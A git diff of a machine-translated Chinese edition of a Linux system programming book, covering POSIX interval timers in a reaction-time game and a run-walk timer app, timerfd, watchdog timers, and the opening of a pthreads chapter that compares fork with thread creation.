entire tree is available for cloning from GitHub, here: [https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux](https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux). - -```sh -static int init(void) -{ - struct sigevent sev; - struct rlimit rlim; - struct sigaction act; - - // Trap SIGRTMIN : delivered on (interval) timer expiry - memset(&act, 0, sizeof(act)); - act.sa_flags = SA_SIGINFO | SA_RESTART; - act.sa_sigaction = timer_handler; - if (sigaction(SIGRTMIN, &act, NULL) == -1) - FATAL("sigaction SIGRTMIN failed\n"); - -[...] - -/* Create and init the timer */ - sev.sigev_notify = SIGEV_SIGNAL; - sev.sigev_signo = SIGRTMIN; - sev.sigev_value.sival_ptr = &timerid; - if (timer_create(CLOCK_REALTIME, &sev, &timerid) == -1) - FATAL("timer_create failed\n"); - - printf("Initializing timer to generate SIGRTMIN every %ld ms\n", - freq_ms); - memset(&itv, 0, sizeof(struct itimerspec)); - itv.it_value.tv_sec = (freq_ms * 1000000) / 1000000000; - itv.it_value.tv_nsec = (freq_ms * 1000000) % 1000000000; - itv.it_interval.tv_sec = (freq_ms * 1000000) / 1000000000; - itv.it_interval.tv_nsec = (freq_ms * 1000000) % 1000000000; -[...] -``` - -意外启动的实施方式如下: - -```sh -/* random_start - * The element of surprise: fire off an 'alarm' - resulting in SIGALRM being - * delivered to us - in a random number between [min..max] seconds. - */ -static void random_start(int min, int max) -{ - unsigned int nr; - - alarm(0); - srandom(time(0)); - nr = (random() % max) + min; - -#define CHEAT_MODE 0 -#if (CHEAT_MODE == 1) - printf("Ok Cheater :-) get ready; press ^C in %ds ...\n", nr); -#endif - alarm(nr); -} -``` - -调用方式如下: - -```sh -#define MIN_START_SEC 1 -#define MAX_START_SEC 5 -[...] -random_start(MIN_START_SEC, MAX_START_SEC); -``` - -报警(用于`SIGALRM`)的信号处理程序(函数`startoff`)和相关逻辑如下: - -```sh -static void arm_timer(timer_t tmrid, struct itimerspec *itmspec) -{ - VPRINT("Arming timer now\n"); - if (timer_settime(tmrid, 0, itmspec, NULL) == -1) - FATAL("timer_settime failed\n"); - jumped_the_gun = 0; -} - -/* - * startoff - * The signal handler for SIGALRM; arrival here implies the app has - * "started" - we shall arm the interval timer here, it will start - * running immediately. Take a timestamp now. - */ -static void startoff(int sig) -{ - char press_msg[] = "\n*** QUICK! Press ^C !!! ***\n"; - - arm_timer(timerid, &itv); - write(STDERR_FILENO, press_msg, strlen(press_msg)); - - //—- timestamp it: start time - if (clock_gettime(CLOCK_REALTIME, &tm_start) < 0) - FATAL("clock_gettime (tm_start) failed\n"); -} -``` - -请记住,当用户游手好闲时,我们的 POSIX 间隔计时器继续以用户指定的频率设置和重置自身(作为第一个参数传递,我们将其保存在变量`freq_ms`中);因此,每隔`freq_ms`毫秒,我们的进程将接收信号`SIGRTMIN`。 下面是它的信号处理程序例程: - -```sh -static volatile sig_atomic_t gTimerRepeats = 0, c = 0, first_time = 1, - jumped_the_gun = 1; [...] static void timer_handler(int sig, siginfo_t * si, void *uc) -{ - char buf[] = "."; - - c++; - if (verbose) { - write(2, buf, 1); -#define SHOW_OVERRUN 1 -#if (SHOW_OVERRUN == 1) - { - int ovrun = timer_getoverrun(timerid); - if (ovrun == -1) - WARN("timer_getoverrun"); - else { - if (ovrun) - printf(" overrun=%d [@count=%d]\n", ovrun, c); - } - } -#endif - } -} -``` - -当用户这样做时(终于!)。 按*^C,*调用 SIGINT 的信号处理程序(函数:`userpress`): - -```sh -static void userpress(int sig) -{ - struct timespec res; - - // timestamp it: end time - if (clock_gettime(CLOCK_REALTIME, &tm_end) < 0) - FATAL("clock_gettime (tm_end) failed\n"); - - [...] - printf("\n*** PRESSED ***\n"); - /* Calculate the delta; subtracting one struct timespec - * from another takes a little work. A retrofit ver of - * the 'timerspecsub' macro has been incorporated into - * our ../common.h header to do this. - */ - timerspecsub(&tm_end, &tm_start, &res); - printf - (" Your reaction time is precisely %ld.%ld s.ns" - " [~= %3.0f ms, count=%d]\n", - res.tv_sec, res.tv_nsec, - res.tv_sec * 1000 + - round((double)res.tv_nsec / 1000000), c); - } - [...] - c = 0; - if (!gTimerRepeats) - exit(EXIT_SUCCESS); -} -``` - -# The Run:Walk and Interval Timer 应用 - -这本书的作者自称是一名休闲跑步者。 在我的拙见中,跑步者/慢跑者,尤其是刚开始的时候(经常,甚至是有经验的人),可以从始终如一的跑步:步行模式中受益(通常以分钟为单位)。 - -这背后的想法是,连续跑步很难,特别是对初学者来说。 通常,教练会让新手遵循一个有用的跑步策略:步行策略;跑一段给定的时间,然后在给定的时间段内休息一段时间,然后重复-再次跑步,再次步行-无限期地,或者直到你的目标距离(或时间)目标达到为止。 - -例如,当初学者跑步距离为 5 公里或 10 公里时,他可能会遵循一致的 5:2 跑:步行模式,即跑 5 分钟,走 2 分钟,不断重复这一点,直到跑完为止。 (另一方面,超级跑步者可能更喜欢类似于 25:5 的策略。) - -为什么不写一个 Run:Walk 计时器应用来帮助我们的初学者和认真的跑步者。 - -我们就是这么做的。 不过,首先,从更好地理解这个程序的角度来看,让我们假设这个程序已经编写好并且正在运行--我们将给它一个简单的介绍。 - -# 几次试运行 - -当我们简单地运行程序而不传递任何参数时,将显示帮助屏幕: - -```sh -$ ./runwalk_timer -Usage: ./runwalk_timer Run-for[sec] Walk-for[sec] [verbosity-level=0|[1]|2] - Verbosity Level :: 0 = OFF [1 = LOW] 2 = HIGH -$ -``` - -可以看出,该程序至少需要两个参数: - -* 运行时间(秒)[必需] -* *步行时间(秒)[必需] -* 详细级别。[可选] - -可选的第三个参数,详细级别,允许用户在程序执行时请求或多或少的信息(这始终是检测并帮助调试程序的有用方法)。 我们提供三种可能的详细级别: - -* `OFF`:只显示必填内容(传递第三个参数 0) -* `LOW`:与调平相同,另外我们使用句点字符`**.**`表示时间流逝-每秒都会将一个`**.** `打印到`stdout`和[默认] -* `HIGH`:与调平相同,另外我们显示内部数据结构值、计时器超时时间等(传递第三个参数 2) - -让我们首先尝试在默认详细级别(低)下运行,规范如下: - -* 运行 5 秒钟 -* 散步 2 秒钟 - -好的,好的,我们知道,你比那更合适--你可以跑步:步行超过 5 秒 2 秒。 原谅我们,但事情是这样的:为了演示的目的,我们真的不想等到 5 分钟后,然后又过了 2 分钟,只是为了看看它是否有效,对吗? (当你在跑步时使用这款应用时,请将分钟转换为秒,然后去做吧!) - -说得够多了;让我们启动跑步:步行 POSIX 计时器进行大约 5 分 2 秒的跑步:步行间隔: - -```sh -$ ./runwalk_timer 5 2 -************* Run Walk Timer ************* - Ver 1.0 - -Get moving... Run for 5 seconds -..... *<< each "." represents 1 second of elapsed time >>* -*** Bzzzz!!! WALK! *** for 2 seconds -.. -*** Bzzzz!!! RUN! *** for 5 seconds -..... -*** Bzzzz!!! WALK! *** for 2 seconds -.. -*** Bzzzz!!! RUN! *** for 5 seconds -....^C -+++ Good job, bye! +++ -$ -``` - -是的,它可以工作;我们通过键入*^C*(*Ctrl*+*C)*来中断它。 - -前面的试运行处于默认的详细级别`LOW`;现在让我们使用相同的 5:2 Run:Walk 间隔重新运行它,但通过传递`2`作为第三个参数,将详细级别设置为`HIGH`: - -```sh -$ ./runwalk_timer 5 2 2 -************* Run Walk Timer ************* - Ver 1.0 - -Get moving... Run for 5 seconds -trun= 5 twalk= 2; app ctx ptr = 0x7ffce9c55270 -runwalk: 4.999s *<< query on time remaining >>* -runwalk: 3.999s -runwalk: 2.999s -runwalk: 1.999s -runwalk: 0.999s -its_time: signal 34. runwalk ptr: 0x7ffce9c55270 Type: Run. Overrun: 0 - -*** Bzzzz!!! WALK! *** for 2 seconds -runwalk: 1.999s -runwalk: 0.999s -its_time: signal 34. runwalk ptr: 0x7ffce9c55270 Type: Walk. Overrun: 0 - -*** Bzzzz!!! RUN! *** for 5 seconds -runwalk: 4.999s -runwalk: 3.999s -runwalk: 2.999s -runwalk: 1.999s -runwalk: 0.999s -its_time: signal 34. runwalk ptr: 0x7ffce9c55270 Type: Run. Overrun: 0 - -*** Bzzzz!!! WALK! *** for 2 seconds -runwalk: 1.999s -runwalk: 0.999s -its_time: signal 34. runwalk ptr: 0x7ffce9c55270 Type: Walk. Overrun: 0 - -*** Bzzzz!!! RUN! *** for 5 seconds -runwalk: 4.999s -runwalk: 3.999s -runwalk: 2.999s -^C -+++ Good job, bye! +++ -$ -``` - -详细信息会显示出来;每秒钟都会显示我们的 POSIX 计时器超时的剩余时间(精确到毫秒)。 当计时器超时时,操作系统将实时信号`SIGRTMIN`传递给进程;我们进入信号处理程序`its_time`,然后打印出从结构`siginfo_t`指针获得的信号信息。 我们在联合`si->si_value`中接收信号号(34)和指针`si->si_value`,这是指向应用上下文数据结构的指针,这样我们就可以在不使用全局变量的情况下访问它(稍后将详细介绍)。(当然,正如多次提到的,在信号处理程序中使用`printf(3)`和变体是不安全的,因为它们是信号异步的。 我们在这里只是作为演示来做这件事;不要为生产用途编写这样的代码。 当然,`Bzzzz!!!`消息代表计时器开始计时的蜂鸣声;程序指示用户继续执行`RUN!`或`WALK!`,并相应地指示用户继续执行`RUN!`或`WALK!`,以及执行此操作的秒数。 整个过程无限重复。 - -# 低层设计和代码 - -这个简单的程序将允许您设置跑步和步行的秒数。 它将相应地超时。 - -在这个应用中,我们使用一个简单的单次 POSIX 定时器来完成这项工作。 我们将定时器设置为使用信号通知作为定时器超时通知机制。 我们将为 RT 信号设置一个信号处理程序(SIGRTMIN)。 接下来,我们首先将 POSIX 计时器设置为在运行周期后过期,然后,当信号确实到达信号处理程序时,我们可以将计时器重置为在遍历周期秒后过期。 这基本上会永远重复,或者直到用户按下*^C*中止程序。 - -For readability, only key parts of the source code are displayed in the following; to view the complete source code, build it, and run it, the entire tree is available for cloning from GitHub, here: [https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux](https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux). - -许多现实世界中的应用(实际上,任何软件)通常需要多条信息-状态或应用上下文-才能在任何给定的时间点对所有功能可用;换句话说,是全局的。 通常,只需将它们声明为全局(静态)变量并继续。 我们有一个建议:为什么不将它们全部封装到一个数据结构中呢? 事实上,为什么不通过类型化一个结构来使它成为我们自己的呢? 然后,我们可以给它分配内存,初始化它,然后以不要求它是全局的方式传递它的指针。 那将是高效而优雅的。 - -```sh -// Our app context data structure -typedef struct { - int trun, twalk; - int type; - struct itimerspec *itmrspec; - timer_t timerid; -} sRunWalk; -``` - -在我们的应用中,为了简单起见,我们只是静态地将内存分配给(此外,请注意,它是一个局部变量,而不是全局变量): - -```sh -int main(int argc, char **argv) -{ - struct sigaction act; - sRunWalk runwalk; - struct itimerspec runwalk_curval; -[...] -``` - -初始化工作在这里进行: - -```sh -/*————————— Our POSIX Timer setup - * Setup a 'one-shot' POSIX Timer; initially set it to expire upon - * 'run time' seconds elapsing. - */ -static void runwalk_timer_init_and_arm(sRunWalk * ps) -{ - struct sigaction act; - struct sigevent runwalk_evp; - - assert(ps); - - act.sa_sigaction = its_time; - act.sa_flags = SA_SIGINFO; - sigfillset(&act.sa_mask); - if (sigaction(SIGRTMIN, &act, 0) < 0) - FATAL("sigaction: SIGRTMIN"); - memset(ps->itmrspec, 0, sizeof(sRunWalk)); - ps->type = RUN; - ps->itmrspec->it_value.tv_sec = ps->trun; - - runwalk_evp.sigev_notify = SIGEV_SIGNAL; - runwalk_evp.sigev_signo = SIGRTMIN; - // Pass along the app context structure pointer - runwalk_evp.sigev_value.sival_ptr = ps; - - // Create the runwalk 'one-shot' timer - if (timer_create(CLOCK_REALTIME, &runwalk_evp, &ps->timerid) < 0) - FATAL("timer_create"); - - // Arm timer; will exire in ps->trun seconds, triggering the RT signal - if (timer_settime(ps->timerid, 0, ps->itmrspec, NULL) < 0) - FATAL("timer_settime failed"); -} -[...] -runwalk_timer_init_and_arm(&runwalk); -[...] -``` - -在前面的代码中,我们执行以下操作: - -* 捕获实时信号(`SIGRTMIN`)(在定时器超时时传送)。 -* 初始化我们的应用上下文运行:遍历数据结构: - * 特别地,我们在第一个参数中将超时类型设置为运行,将超时值(秒)设置为用户经过的时间。 -* 定时器超时事件通知机制被选为通过我们的代理`sigevent`结构的成员`sigev_notify`发送的信号。 - * 将通过`sigev_value.sival_ptr`成员传递的数据设置为指向我们的应用上下文的指针非常有用;这样,我们始终可以在信号处理程序中访问它(无需保持全局)。 -* 创建具有实时时钟源的 POSIX 计时器,并将其 ID 设置为我们的应用上下文 RunWalk 结构的第一个`timerid`成员 - * 启动或启动定时器。 (回想一下,它已被初始化为在运行几秒钟后过期。) - -在我们之前的试运行中,运行时间设置为 5 秒,因此,从开始算起 5 秒后,我们将异步进入`SIGRTMIN`和`its_time`的运行信号处理程序,如下所示: - -```sh -static void its_time(int signum, siginfo_t *si, void *uctx) -{ - // Gain access to our app context - volatile sRunWalk *ps = (sRunWalk *)si->si_value.sival_ptr; - - assert(ps); - if (verbose == HIGH) - printf("%s: signal %d. runwalk ptr: %p" - " Type: %s. Overrun: %d\n", - __func__, signum, - ps, - ps->type == WALK ? "Walk" : "Run", - timer_getoverrun(ps->timerid) - ); - - memset(ps->itmrspec, 0, sizeof(sRunWalk)); - if (ps->type == WALK) { - BUZZ(" RUN!"); - ps->itmrspec->it_value.tv_sec = ps->trun; - printf(" for %4d seconds\n", ps->trun); - } - else { - BUZZ(" WALK!"); - ps->itmrspec->it_value.tv_sec = ps->twalk; - printf(" for %4d seconds\n", ps->twalk); - } - ps->type = !ps->type; // toggle the type - - // Reset: re-arm the one-shot timer - if (timer_settime(ps->timerid, 0, ps->itmrspec, NULL) < 0) - FATAL("timer_settime failed"); -} -``` - -在信号处理代码中,我们执行以下操作: - -* (如前所述)访问我们的应用上下文和数据结构(通过将`si->si_value.sival_ptr`类型转换为我们的(`sRunWalk *`)数据类型)。 -* 在高冗长模式下,我们显示更多详细信息(同样,不要在生产中使用`printf(3)`)。 -* 然后,如果刚刚到期的定时器是`RUN`定时器,我们使用`WALK`消息参数调用蜂鸣器函数`BUZZ `,重要的是: - * 将超时值(秒)重新初始化为行走持续时间(用户传递的第二个参数)。 - * 将类型从跑步切换为行走。 - * 通过接口`timer_settime(2)`重新启动计时器。 -* 反之亦然,当从刚到期的步行模式转换到跑步模式时。 - -这样,该进程将永远运行(或者直到用户通过*^C*终止它),为下一次 Run:Walk Interval 持续超时。 - -# 通过进程进行计时器查找 - -还有一件事:有趣的是,Linux 内核允许我们深入操作系统内部;这(通常)是通过强大的 Linux.proc 文件系统实现的。 在我们当前的上下文中,proc 允许我们查找给定进程拥有的所有计时器。 这是怎么做的? 通过读取伪文件`/proc//timers`。 看看这个。 下面的屏幕截图说明了在`runwalk_timer `流程中执行的操作: - -![](img/ad7905d9-56a1-4f12-92c2-e77102b33333.png) - -左边的终端窗口是运行 proc`runwalk_timer`应用的地方;当它运行时,我们在右边的终端窗口中查找 proc 文件系统的伪文件:`/proc//timers`。输出清楚地显示了以下内容: - -* 进程中只有一个(POSIX)计时器(ID`0`)。 -* 定时器到期事件通知机制正在发送信号,因为我们可以看到`notify:signal/pid.`和信号:34 与该定时器相关联(信号:34 是`SIGRTMIN`;使用信号`kill -l`34 来验证这一点)。 -* 与该定时器关联的时钟源是`ClockID 0`,即实时时钟。 - -# 略提一下 - -作为本章的总结,我们将简要介绍两种有趣的技术:通过文件抽象模型实现的计时器和看门狗计时器。 这些部分没有详细介绍;我们让感兴趣的读者进一步挖掘。 - -# 通过文件描述符的计时器 - -您还记得我们在本书的[第 1 章](01.html)、*Linux 系统体系结构*中介绍的 Unix(以及 Linux)设计的一个关键哲学吗? 就是一切都是进程,不是进程就是文件,文件抽象在 Linux 上用得很多;这里也有计时器,我们发现有一种方法可以通过文件抽象来表示和使用计时器。 - -这是怎么做的? `timerfd_*`个 API 提供了所需的抽象。 在这本书中,我们不会试图深入研究错综复杂的细节;相反,我们希望读者意识到,如果需要,可以使用文件抽象-通过命令 read(2)和系统调用读取计时器。 - -下表快速概述了`timerfd_*`系列 API: - -| 加入时间:清华大学 2007 年 01 月 25 日下午 3:33 | **目的** | **相当于 POSIX 计时器 API** | -| `timerfd_create(2)` | 创建一个 POSIX 计时器;成功时的返回值是与该计时器关联的文件描述符。 | `timer_create(2)` | -| `timerfd_settime(2)` | (Dis)解除第一个参数`fd`引用的定时器。 | `timer_settime(2)` | -| `timerfd_gettime(2)` | 成功完成后,返回第一个参数`fd`引用的计时器的超时时间和时间间隔。 | `timer_gettime(2)` | - -Table 4 : The timerfd_* APIs - -```sh -include - -int timerfd_create(int clockid, int flags); - -int timerfd_settime(int fd, int flags, - const struct itimerspec *new_value, struct itimerspec *old_value); - -int timerfd_gettime(int fd, struct itimerspec *curr_value); -``` - -使用文件描述符来表示各种对象的真正优势在于,可以使用一组统一的、功能强大的 API 来对它们进行操作。 在此特定情况下,我们可以通过`read(2)`、`poll(2)`、`select(2)`、`epoll(7)`和类似 API 监控基于文件的定时器。 - -如果创建基于 FD 的计时器的进程派生或执行怎么办? 在调用`fork(2)`之后,子进程将通过 API 继承与父进程中创建的任何计时器相关的文件描述符的副本。 实际上,它与父进程共享相同的计时器。 - -在设置`execve(2)`时,计时器在后续进程中保持有效,并将在超时时继续过期;除非在创建时指定了 TFD_CLOEXEC 标志。 - -更多细节(以及一个示例)可以在这里的手册页中找到:[https://linux.die.net/man/2/timerfd_create](https://linux.die.net/man/2/timerfd_create)。 - -# 关于看门狗定时器的快速说明 - -看门狗本质上是一种基于计时器的机制,用于定期检测系统是否处于健康状态,如果认为不是,则重新启动系统。 - -这是通过设置(内核)计时器(比如 60 秒超时)来实现的。 如果一切正常,看门狗守护程序进程将在计时器到期之前持续解除其防护,然后重新启用(解除防护);这称为*抚摸狗*。如果守护程序没有解除看门狗计时器的防护(由于出现严重错误),则看门狗会感到恼火,并重新启动系统。 - -A daemon is a system background process; more on daemons in [Appendix B](https://www.packtpub.com/sites/default/files/downloads/Daemon_Processes.pdf), *Daemon Processes*. - -纯软件看门狗实现将不受内核错误和故障的保护;硬件看门狗(锁定在板重置电路中)将始终能够在需要时重新启动系统。 - -看门狗定时器经常用于嵌入式系统中,尤其是深度嵌入的系统(或人类出于任何原因无法访问的系统);在最坏的情况下,它可能会重新启动,并有望再次执行指定的任务。 一个著名的看门狗定时器导致重启的例子是探路者机器人,NASA 早在 1997 年就把它送到了火星表面(是的,就是在火星上遇到了优先级反转和并发错误的那个机器人)。 我们将在[第 15 章](15.html),*使用 Pthread 多线程,第二部分-同步*(关于多线程和并发)中对此进行一些探讨。 而且,是的,这就是在精彩的电影《火星救援》中饰演角色的探路者机器人! 有关这方面的更多信息,请参阅关于 GitHub 存储库的*进一步阅读*部分。 - -# 简略的 / 概括的 / 简易判罪的 / 简易的 - -在本章中,读者已经了解了 Linux 提供的有关创建和使用计时器的各种接口。 设置和管理超时是许多(如果不是大多数)系统应用的基本组件。 使用示例代码显示了较旧的接口-受人尊敬的`alarm(2)`接口 API,然后是`[s|g]etitimer(2)`的系统调用。 然后,我们深入研究了更新更好的 POSIX 计时器,包括它们提供的优势,以及如何以实际的方式使用它们。 这在很大程度上得益于两个相当复杂的示例程序-Reaction 游戏和 Run:Walk Timer 应用。 最后,向读者介绍了通过文件抽象使用计时器的概念,以及看门狗计时器。 - -下一章是我们开始我们关于理解和使用 Linux 上强大的多线程框架的漫长的三章之旅的地方。 \ No newline at end of file diff --git a/docs/handson-sys-prog-linux/14.md b/docs/handson-sys-prog-linux/14.md deleted file mode 100644 index c43fb919..00000000 --- a/docs/handson-sys-prog-linux/14.md +++ /dev/null @@ -1,1692 +0,0 @@ -# 十四、使用 Pthread 的多线程——第一部分:要领 - -您是否使用下载加速器类型的应用下载过大文件? 你玩过网络游戏吗? 飞行模拟器程序? 使用文字处理、网页浏览器、Java 应用等? (在这里添加一个笑脸表情的诱惑力很高!) - -您很可能至少使用了其中的一部分;那又如何? 所有这些完全不同的应用都有一个共同点:它们很可能都是为多线程设计的,这意味着它们的实现使用了彼此并行运行的多个线程。多线程确实几乎已经成为现代程序员的一种生活方式。 - -解释一个像多线程一样大的主题本身就是一项艰巨的任务;因此,我们将覆盖范围分为三个单独的章节。 这是他们中的第一个。 - -本章本身在逻辑上分为两大部分:第一部分,我们仔细思考和理解多线程模型背后的概念--多线程是什么和为什么。 线程到底是什么,我们为什么需要线程,以及多线程是如何在 Linux 平台上发展起来的。 - -在第二部分中,我们重点介绍了线程管理 API-Linux 上多线程(在某种程度上)的使用方法。 本文讨论了创建和管理线程所需的 API 集,当然,还提供了大量实用代码供您查看和试用。 - -在本主题开始时,我们还必须清楚地指出这样一个事实:在本书中,我们只关注软件编程上下文中的多线程;特别是**POSIXThreads**(**pthreads**)实现,特别是 Linux 平台上的 pthread。 我们不会尝试处理各种其他如雨后春笋般涌现的多线程框架和实现(如 MPI、OpenMP、OpenCL 等)或硬件线程(超线程、带 CUDA 的 GPU 等)。 - -在本章中,您将了解如何在 Linux 平台上使用多线程编程,特别是了解 pthread 编程模型或框架的入门知识。 本章大致分为两部分: - -* 在第一部分中,涵盖了关键的多线程概念-多线程的概念和原因,为第二部分(甚至是随后关于多线程的两章)奠定了基础。 -* 第二部分介绍在 Linux 上构建功能性多线程应用所需的基本 pthreadAPI(通过,它故意不涵盖所有方面;接下来的两章将以此为基础)。 - -# 多线程:概念 - -在本节中,我们将了解在 Linux 平台上使用多线程的原因和原因。 我们将从回答常见问题开始,“线程到底是什么?” - -# 线到底是什么? - -好的(还是坏的?)。 过去,Unix 程序员有一个简单的软件模型(几乎完全被其他操作系统和供应商继承):有一个虚拟进程,它位于一个完全**虚拟地址空间**(**VAS**)中;VAS 本质上由同构区域(本质上是虚拟页面的集合)组成,称为数据段:文本、数据、其他映射(库)和堆栈。真正的文本是可执行文件--事实上,是提供给它的机器代码。 我们在本书的前面肯定已经涵盖了所有这些内容(您可以在[第 2 章](02.html),*虚拟内存*中温习这些基础知识)。 - -线程是进程中独立的执行(或流)路径。在我们通常使用的熟悉的过程性编程范例中,线程的生命周期和作用域是一个简单的函数。 - -因此,在我们前面提到的传统模型中,我们只有一个执行线程;在 C 编程范例中,该线程就是`main()`函数! 想想看:第一个`main()`线程是执行开始和结束的地方(至少从应用开发人员的角度来看是这样)。这个模型(现在)被称为第二个单线程的软件模型。 与之相反的是什么? 当然,它是多线程的。 因此,我们就有了它:不可能有多个线程处于活动状态,并且与同一进程中的其他独立线程同时(并行)执行。 - -但是,等等,难道进程不能也生成并行性,并让它们自己的多个副本在应用的不同方面工作吗? 当然可以:我们已经在[第 10 章](10.html)、*流程创建*中介绍了`fork(2)`系统调用的所有辉煌(和含义)。 这就是我们所熟知的多处理机模型。 因此,如果我们有多进程--几个进程并行运行,嘿,他们完成了工作--那么百万美元的问题就变成了:“为什么要多线程?” (请存入一百万美元,我们将提供答案。)。 有几个很好的理由;请查看下面的部分(特别是*动机-为什么要使用主题?*;我们建议初次阅读的读者遵循本书中列出的顺序)以了解更多详细信息。 - -# 资源共享 - -在[第 10 章](10.html)和*进程创建*中,我们反复指出,虽然 fork(2)系统调用非常强大和有用,但它被认为是重量级操作;执行该 fork 操作会占用大量 CPU 周期(从而占用大量时间),并且在内存(RAM)方面也很昂贵。 计算机科学家正在寻找一种方法来减轻这一点;正如你已经猜到的那样,结果就是主线。 - -不过,请稍等:为了方便读者,我们从[第 10 章](10.html)、*进程创建*中复制了一张图-*Linux 进程-跨 fork()*的继承和非继承: - -![](img/8beb0e4e-7a50-43a7-a15e-f07976f2cf65.png) - -Figure 1: The Linux process – inheritance and non-inheritance across the fork() - -这张图很重要,因为它向我们展示了为什么分叉是一个重量级操作:*每次调用 fork(2)系统调用,父进程的完整 VAS 代码和右侧所有跨图分叉继承的数据结构都要被完全复制到新生的子进程中,这确实是大量的工作和内存占用! (好吧,我们有点夸张了:正如在[第 10 章](10.html),*进程创建**中提到的,*现代操作系统,尤其是 Linux,确实花了很多心思来优化分叉。 尽管如此,它还是很重。 请看下面的示例 1 演示程序-进程的创建和销毁比线程的创建和销毁慢得多(并且占用更多的 RAM)。 - -现实情况是这样的:当一个进程创建一个线程时,该线程将与同一进程的所有其他线程共享(几乎)所有内容-所有前面的 VA,因此是段,以及所有的数据结构-除了堆栈。 - -每个线程都有自己的私有堆栈段。 它住在哪里? 显然,在创建过程的虚拟辅助系统中;它确切地驻留在哪里对我们来说真的无关紧要(回想一下,在任何情况下,它都是虚拟内存,而不是物理内存)。 对于应用开发人员来说,更相关、更重要的问题是线程堆栈将有多大。 简短的答案是:与通常相同(在 Linux 平台上通常为 8MB),但我们将在本章的后面部分介绍具体细节。 只需这样想:进程`main()`的堆栈始终位于(用户模式)虚拟地址空间的最顶端;进程中剩余线程的堆栈可以驻留在此空间的任何位置。 实际上,它们通常驻留在堆和堆栈(Main)之间的虚拟内存空间中。 - -下图帮助我们了解了 Linux 上的一个新的多线程进程的内存布局;图上半部分是线程创建成功后的进程`pthread_create(3)`;下半部分是线程创建成功后的进程: - -![](img/8f2b1600-8814-4675-988c-45739f349fd6.png) - -Fig 2 : The thread – everything except the stack is shared across pthread_create() - -过程文本段中的蓝色曲线表示`main()`线程;它的堆栈也清晰可见。 我们使用虚线来表示所有这些内存对象(用户空间和内核空间)都是跨进程`pthread_create(3)`共享的。 可以清楚地看到,在`pthread_create(3)`之后唯一的新对象是新线程本身(**thd2**;在进程文本段中显示为红色曲折)和刚刚诞生的线程**thd2**的新堆栈(红色)。将此图与图 1 形成对比;当我们使用 fork(2)时,几乎所有内容都必须复制到新生的子进程中。 - -From what we have described so far, the only difference between a process and a thread is that of resource sharing—processes do not share, they copy; threads do share everything, except for the stack. Dig a little deeper and you will realize that both software and hardware state have to be maintained on a per thread basis. The Linux OS does exactly that: it maintains a per-thread task structure within the OS; the task structure contains all the process/thread attributes, including software and hardware context (CPU register values and so on) information. - -Again, digging a little deeper, we realize that the OS does maintain a distinct copy of the following attributes per thread: the stack segment (and thus the stack pointer), possible alternate signal stack (covered in the [Chapter 11](11.html), *Signaling - Part I*), both regular signal and real-time signal masks, thread ID, scheduling policy and priority, capability bits, CPU affinity mask, and the errno value (don't worry—several of these will be explained along the way). - -# 多进程与多线程 - -为了帮助清楚地理解线程为什么以及如何提供性能优势,我们来做几个实验!(经验性的重要性--实验、尝试是一个关键特性;我们的[第 19 章](19.html)、*故障排除和最佳实践*详细介绍了这几点)。 首先,我们举两个简单的示例程序:一个是比较进程和线程的创建和销毁的程序,另一个是以两种方式执行矩阵乘法的程序-一种是通过传统的单线程进程模型,另两种是通过传统的多线程模型。 - -因此,我们在这里真正比较的是使用多进程模型和多线程模型在执行时间方面的性能。 我们将让读者注意到,此时此地,出于两个原因,我们将不会费力地详细说明和解释线程 API 代码;第一,这不是重点;第二,在我们详细介绍线程 API 之前,这样做并不真正有意义。 (所以,亲爱的读者,实际上我们要求您暂时忽略线程代码;只需跟随,构建并重现我们在这里所做的工作;随着您了解更多,代码和 API 将变得清晰起来。) - -# 示例 1-创建/销毁-进程/线程 - -进程模型:我们这样做:在一个循环中(总共执行 60,000 次!),通过调用`fork(2)`并随后退出来创建和销毁一个进程。 (我们会处理细节,比如清除任何可能的僵尸,方法是在父母那里等待孩子死亡,然后再继续循环。)。 相关代码如下:(`ch14/speed_multiprcs_vs_multithrd_simple/create_destroy/fork_test.c`): - -For readability, only the relevant parts of the code are displayed in the following code; to view and run it, the entire source code can be found here: [https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux](https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux). - -```sh -... -#define NFORKS 60000 -void do_nothing() -{ - unsigned long f = 0xb00da; -} -int main(void) -{ - int pid, j, status; - - for (j = 0; j < NFORKS; j++) { - switch (pid = fork()) { - case -1: - FATAL("fork failed! [%d]\n", pid); - case 0: // Child process - do_nothing(); - exit(EXIT_SUCCESS); - default: // Parent process - waitpid(pid, &status, 0); - } - } - exit(EXIT_SUCCESS); -} -``` - -我们运行它的前缀是`time(1)`实用程序,它让我们大致了解程序在处理器上花费的时间;花费的时间显示为三个部分:`real`(总挂钟时间)、`user`(用户空间花费的时间)和`sys`(内核空间花费的时间): - -```sh -$ time ./fork_test - -real 0m10.993s -user 0m7.436s -sys 0m2.969s -$ -``` - -显然,您在 Linux 机器上获得的精确值可能并且可能会有所不同。 而且,不是的,`user`+`sys`的加起来也不完全是真实的。 - -# 多线程模型 - -同样,我们要做的是:关键是要理解这里使用的代码(`ch14/speed_multiprcs_vs_multithrd_simple/create_destroy/pthread_test.c`)与前面的代码在所有方面都是等价的,只是这里我们使用的是线程,而不是进程:在循环中(总共执行 60,000 次!),通过调用`pthread_create(3)`和随后的`pthread_exit(3)`来创建和销毁线程。(我们负责通过调用`pthread_join(3)`在调用线程中等待同级线程终止这样的细节。)。 我们现在跳过代码/API 的详细信息,只看执行情况: - -```sh -$ time ./pthread_test - -real 0m3.584s -user 0m0.379s -sys 0m2.704s -$ -``` - -哇,双线程代码的运行速度大约是模型代码的 3 倍! 结论是显而易见的:创建并销毁一个线程进程比创建并销毁一个进程要快得多。 - -A technical side note: For the more curious geeks: why exactly is the `fork(2)` so much slower than `pthread_create(3)`? Those familiar with OS development will understand that Linux makes heavy use of the performance-enhancing **copy-on-write**(**COW**) memory techniques within its internal implementation of `fork(2)`. Thus, it begs the question, if COW is heavily used, then what is slowing the fork down? The short answer: page table creation and setup cannot be COW-ed; it takes a while to do. When creating threads of the same process, this work (page table setup) is completely skipped. - -Even so, Linux's fork is pretty much considered to be the fastest of any comparable OS today. - -顺便说一句,衡量花费的时间-以及一般的性能特征-的一种更准确的方法是使用著名的`perf(1)`实用程序(请注意,在本书中,我们不打算详细介绍`perf`;如果感兴趣,请查阅 GitHub 存储库上的*进一步阅读*部分,以获得与性能相关的材料的一些链接): - -```sh -$ perf stat ./fork_test - - 